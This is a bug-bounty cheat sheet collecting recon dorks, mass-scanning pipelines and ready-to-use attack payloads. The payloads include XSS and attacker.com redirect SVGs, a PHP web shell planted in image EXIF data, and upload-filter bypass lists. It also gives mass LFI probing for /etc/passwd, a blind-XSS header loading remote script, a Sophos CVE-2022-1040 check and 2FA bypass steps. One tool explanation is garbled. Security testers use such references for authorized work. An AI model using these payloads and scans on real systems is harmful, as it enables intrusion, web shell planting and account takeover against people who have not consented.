Bug Bounty
Custom Header Setup
Steps to Add Custom Header in Burp Requests
Select Proxy -> Options
Go to Match and Replace and select add
Specify the details of the match and replace as shown below
Type: Request Header
Match: Leave blank to add a new header
Replace: [email protected]
Comment: Manually BBP header
Information Gathering
LeakIX - often blocked by organizations for gray hat searches Shodan - scans less frequently than LeakIX but whitelisted Censys - best overall scanner but without vulnerability discovery Chaos.ProjectDiscovery - Real-time Recon/DNS data for Public Bug Bounty Programs Search Engine Dorking ReconFTW - automated recon and vulnerability scanner Uncover - tool used to discover exposed hosts on the internet using multiple search engines PrettyRecon - Active Reconnaissance Tool BountyStrike - collection of bash and python scripts that installs common tools for recon scans and asset discovery
Nuclei - Security check scanner that is based on templates; Get started with Nuclei here Nuclei Templates Directory - Visually navigate available nuclei templates Community edition nuclei templates (CENT) - collect and organize other custom templates
Getting started with some CVE scanning using Nuclei templates:
nuclei -target "https://site.com" -t cvesnuclei -target "https://site.com" -t /path/to/nuclei-templates/cvesnuclei -target "https://site.com" -t cves -rlMass security testing on subdomains:
cat site subdomains.txt | nuclei -t /path/to/nuclei-templates/nuclei -t /path/to/nuclei-templates/ -l urls.txt-rl, -rate-limit int maximum number of requests to send per second (default 150)
-rlm, -rate-limit-minute int maximum number of requests to send per minute
Combining nuclei scanner with CENT custom templates
nuclei -u https://example.com -t ./cent-nuclei-templates -tags cvenuclei -l urls.txt -t ./cent-nuclei-templates -tags cveDaily updated Text file of all domains within scope on active Bug Bounty Programs https://github.com/arkadiyt/bounty-targets-data/blob/main/data/domains.txt
intitle:"index of /.git/"
Searching for Directories
allintext:index filetype:git
Search for extensions
inurl:"index.php?id="
Searching for PHP pages
inurl:"admin/dashboard.php" site:.com
Searching for PHP admin dashboards
Intitle: "login" "admin" site:http://site.com
Searching for admin login pages
intitle:"Index of /" .htaccess site:http://site.com
Searching for exposed Apache configuration file
site:website.com inurl:"contact" | inurl:"contact-us" | inurl:"contactus" | inurl:"contcat_us" | inurl:"contact_form" | inurl:"contact-form"
Searching for possible contact form
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example[.]com
SSRF Prone Parameters
hostname:".gov" product:"Jenkins" 200
Searching Jenkins instances in .gov
ssl.cert.subject.CN:"*.google.com"+200
Returns all SSL services that has issued a certificate for *.google.com with an HTTP response code of 200.
ssl.cert.issuer.cn:"DOD SW CA-60" 200
Returns all SSL certificates that have been issued by the DoD with response code of 200
Sensitive Information Exposure methods Use GitTools gitdumper.sh or gittyleaks
Defense Evasion
Attempt to bypass application protections such as Cloudflare, Akamai, etc.
Worth a shot to use the tool by Cloudflare Origin IP by @gwen001
Check to see if application is behind a WAF
wafw00f $URL
whatwaf -u $URL
nmap -p $PORT --script=http-waf-fingerprint,http-waf-detect $URLAuthentication:
Registration
Input validation
Analysis
Misc
Password reset process
Password reset tokens (expiration/reuse)
Failed retry lockout (DoS)
Password policies
Update profile information without asking password
Default or easy to guess keys
User enumeration
HTTP Authentication
Authentication Bypass
Identify weak authentication channels (Find primary mechanism and identify secondary mechanicsm / methods [Mobile App, Call Center, SSO])
Authorization:
Session:
General:
File Upload:
Extensions Impact
ASP,ASPX,PHP5,PHP,PHP3: Webshell, RCESVG: Stored XSS, SSRF, XXEGIF: Stored XSS, SSRFCSV: CSV injectionXML: XXEAVI: LFI, SSRFHTML,JS: HTML injection, XSS, Open redirectPNG,JPEG: Pixel flood attack (DoS)ZIP: RCE via LFI, DoSPDF,PPTX: SSRF, BLIND XXE
Blacklisting Bypass
PHP →
.phtm,phtml,.phps,.pht,.php2,.php3,.php4,.php5,.shtml,.phar,.pgif,.incASP →
asp,.aspx,.cer,.asaJsp →
.jsp,.jspx,.jsw,.jsv,.jspfColdfusion →
.cfm,.cfml,.cfc,.dbmUsing random capitalization →
.pHp,.pHP5,.PhAr
Whitelisting Bypass
file.jpg.phpfile.php.jpgfile.php.blah123jpgfile.php%00.jpgfile.php\x00.jpgthis can be done while uploading the file too, name itfile.phpD.jpgand change the D (44) in hex to 00.file.php%00file.php%20file.php%0d%0a.jpgfile.php.....file.php/file.php.\file.php#.pngfile..html
Vulnerabilities
XSS
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/><?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("HolyBugx XSS");
</script>
</svg>
Open Redirect
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>Misc
Uploading
file.js&file.config(web.config)Pixel flood attack using image
DoS with a large values name:
1234...99.pngZip Slip
If a site accepts
.zipfile, upload.phpand compress it into.zipand upload it. Now visit,site.com/path?page=zip://path/file.zip%23rce.php
Image Shell
Exiftool is a great tool to view and manipulate exif-data. Then I will to rename the file
mv pic.jpg pic.php.jpg
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' pic.jpg
Adobe Experience Manager (AEM) Configuration Testing
Shodan Dork:
http.component:"Adobe Experience Manager"
Resources AEM Hacker Tool SlideShare presentation on AEM by 0ang3el
Reporting
Recon
Dump In-scope Assets from BBPs using repo from @arkadiyt
HackerOne Programs
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/hackerone_data.json | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'BugCrowd Programs
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'Intigriti Programs
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'YesWeHack Programs
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'HackenProof Programs
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'Federacy Programs
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/federacy_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'Dump list of all BBP Domains that are in scope and identify those without dns names (ips.txt)
curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/main/data/domains.txt > domains.txt && grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' domains.txt > ips.txtMartian Grip
from @notnci with beginner explanation
shodan download testing 'cloud.region:"us-east-1" 200 product:"Elastic" port:8001'; shodan parse --fields ip_str,port testing.json.gz | tee testing_parsed.out | awk '{print$1":"$2}' | httpx -silent -o testing_httpx.out | nuclei -as -silent -o testing_nuclei.out; cat testing_nuclei.out | awk -F " " '{print $6}' | grip | uniq -u | tee testing_vuln_ips.out | nrich - | tee testing_nrich.outThe
shodan downloadcommand is attempting to search for devices in the US East (N. Virginia) region that have a product named "Elastic" and are listening on port 8001. Theparsecommand is used to extract certain fields (in this case,ip_strandport) from the results of the search, which are stored in the filetesting.json.gz.httpxis a tool that can be used to perform HTTP requests and analyze the response. In this case, the command is using the-silentflag to suppress output and the-oflag to write the response to a file calledtesting_httpx.out. The input for this command appears to be the list of IP addresses and ports extracted from the Shodan search results.``
nucleiis a tool for detecting vulnerabilities and misconfigurations in web applications. The-asflag stands for "active scan", which means that the tool will perform various types of requests to the target web application in order to identify potential vulnerabilities. The-silentflag suppresses output, and the-oflag specifies an output file for the results. The input for this command is the list of IP addresses and ports extracted from the Shodan search results.awkis a tool for processing text files. The command appears to be extracting the sixth field ($6) from the output of thenucleicommand, which is piped (|) to thegripcommand.gripis a command line tool for rendering local readme files before sending them to GitHub. In this case, it is used to render the output of theawkcommand, which is then passed touniqwith the-uflag to remove duplicate lines. The resulting list of unique lines is written to the filetesting_vuln_ips.out.nrichis a tool for performing OSINT (Open Source Intelligence) on IP addresses. The input for this command appears to be the list of IP addresses and ports extracted from the Shodan search results, and the-flag tells the tool to read the input from standard input (stdin). The results are written to the filetesting_nrich.out.
Find SQLi at scale
# collect target urls
\ `subfinder -d site.com -silent - all | httpx -silent -threads 100 | katana -d 4 -jc -ef css,png,svg,ico,woff,gif | tee -a urls`\
# filter potential SQLi Url
cat urls | gf sqli | tee -a sqli
``
# run test
while read line; do sqlmap -u $line --parse-errors --curent-db --invalid-logical --invalid-bignum --invalid-string --risk 3; done < sqli
Local File Inclusion
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'Open-redirect
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/nullXSS
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt𝘽𝙡𝙞𝙣𝙙 𝙓𝙎𝙎 𝙈𝙖𝙨𝙨 𝙃𝙪𝙣𝙩𝙞𝙣𝙜
cat domains.txt | waybackurls | httpx -H "User-Agent: \"><script src=https://chirag.bxss.in></script>"Unauthenticated Blind SSRF via xmlrpc.php
cat iplist| httpx -silent -path /xmlrpc.php -title -match-string "XML-RPC"Find JavaScript Files
assetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Zo-9_]+" | sed -e 's, 'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'):echo -e "\e[1;33m$url\n" "\e[1;32m$vars"; doneExtract Endpoints from JavaScript
cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -uGet CIDR & Org Information from Target Lists
for HOST in $(cat HOSTS.txt);do echo $(for ip in $(dig a $HOST +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; d
one | uniq); doneFinding Subdomains
Get Subdomains from RapidDNS.io
curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep "<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed 's/#results//g' | sort -uGet Subdomains from BufferOver.run
curl -s https://dns.bufferover.run/dns?q=.HOST.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -uexport domain="HOST"; curl "https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]' | rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain"Get Subdomains from Riddler.io
curl -s "https://riddler.io/search/exportcsv?q=pld:HOST" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u Get Subdomains from VirusTotal
curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -uGet Subdomain with cyberxplore
curl https://subbuster.cyberxplore.com/api/find?domain=HOST -s | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" Get Subdomains from CertSpotter
curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u Get Subdomains from Archive
curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -uGet Subdomains from JLDC
curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -uGet Subdomains from securitytrails
curl -s "https://securitytrails.com/list/apex_domain/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -uBruteforcing Subdomain using DNS Over
while read sub; do echo "https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" | parallel -j100 -q curl -s -L --silent | grep -Po '[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|".*?")+[}\]]{1}' | jq | grep "name" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u ; done < FILE.txtGet Subdomains With sonar.omnisint.io
curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u Get Subdomains With synapsint.com
curl --silent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2FHOST" | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u Get Subdomains from crt.sh
curl -s "https://crt.sh/?q=%25.HOST&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -uSort & Tested Domains from Recon.dev
curl "https://recon.dev/api/search?key=apikey&domain=HOST" |jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silentDiscover subdomains and enumerate API endpoints discovered with subfinder
subfinder -d host.com -silent -all | httpx -silent -o host.txt; for i in $(cat host_httpx.txt); do DOMAIN=$(echo $i | unfurl format %d); ffuf -u $i/FUZZ -w common-api-endpoints.txt -o ${DOMAIN]_ffuf.txt; doneSubdomain Bruteforcer with FFUF
ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk '{print $4}'Find Allocated IP Ranges for ASN from IP Address
whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -nExtract IPs from a File
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txtCVE 2022-1040 (Give your domain without http/https on the "sophos_servers" file)
cat sophos_servers | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable [ Sophos RCE ]\e[0m\n"; done;General
Use grep 𝐭𝐨 𝗘𝘅𝘁𝗿𝗮𝗰𝘁 𝗨𝗥𝗟'𝘀 𝗳𝗿𝗼𝗺 𝗷𝘂𝗻𝗸 𝗱𝗮𝘁𝗮
From a local file
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*From an online resource
curl http://site.xxx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*Techniques/Checklist
JS File Analysis
Analyze all the JS Files that are referred in the response to see if any JS file contains information that can help bypass 2FA code
2FA Code Leakage in Response
You can intercept otp using burpsuite and inspect http response and check if the 2FA code leaked
Lack of brute-Force Protection
Type 2FA code and capture request using burpsuite
Send request to intruder and send request for 100–200 times
At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success
2FA Refer Check Bypass
Navigate to the page which comes after 2FA or any other authenticated page of the application. If this not successful, change the refer header to the 2FA page URL
Missing 2FA Code Integrity Validation
Request a 2FA code from the attacker’s account
Use this valid 2FA code in the victim 2FA Request and see if it bypasses the 2FA protection
Enabling 2FA Doesn’t Expire Previous Session
If a bug hunter hijacks an active session before 2FA, it is possible to carry out all functions without a need for 2FA
Clickjacking on 2FA Disable Feature
Try to iframe the page where the application allows a user to disable 2FA
Response Manipulation
Observe response of the 2FA Request
If receiving “Success”:false, change this to “Success”:true and see if it bypasses the 2FA
Status Code Manipulation
If the Response Status Code is 4xx like 401, 402 then change the response Status Code to “200 OK” and see if it bypasses the 2FA
2FA Code Reusability
Request a 2FA code and use it
Re-use the same 2FA code in another session and if it authenticated successfully, that’s a potential issue
CSRF on 2FA Disable Feature
Navigate to 2FA Page and click on “Disable 2FA” and capture this request with Burp Suite & generate a CSRF PoC
Send this PoC to the victim, and check if CSRF happens successfully and remove the 2FA from the victim account
CloudFront
Bypassing Cloudfront XSS WAF
alert = window["al"+"ert"]
bypass () with ``
replace space with /
encode symbols:
<=%3c>=%3e"=%22[=%5b]=%5d`=%60
Remote Code Execution Parameters ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload} ?cmd={payload} ?exec={payload} ?command={payload} ?execute={payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload}
Git
/.git
/.gitkeep
/.git-rewrite
/.gitreview
/.git/HEAD
/.gitconfig
/.git/index
/.git/logs
/.svnignore
/.gitattributes
/.gitmodules
/.svn/entries
Last updated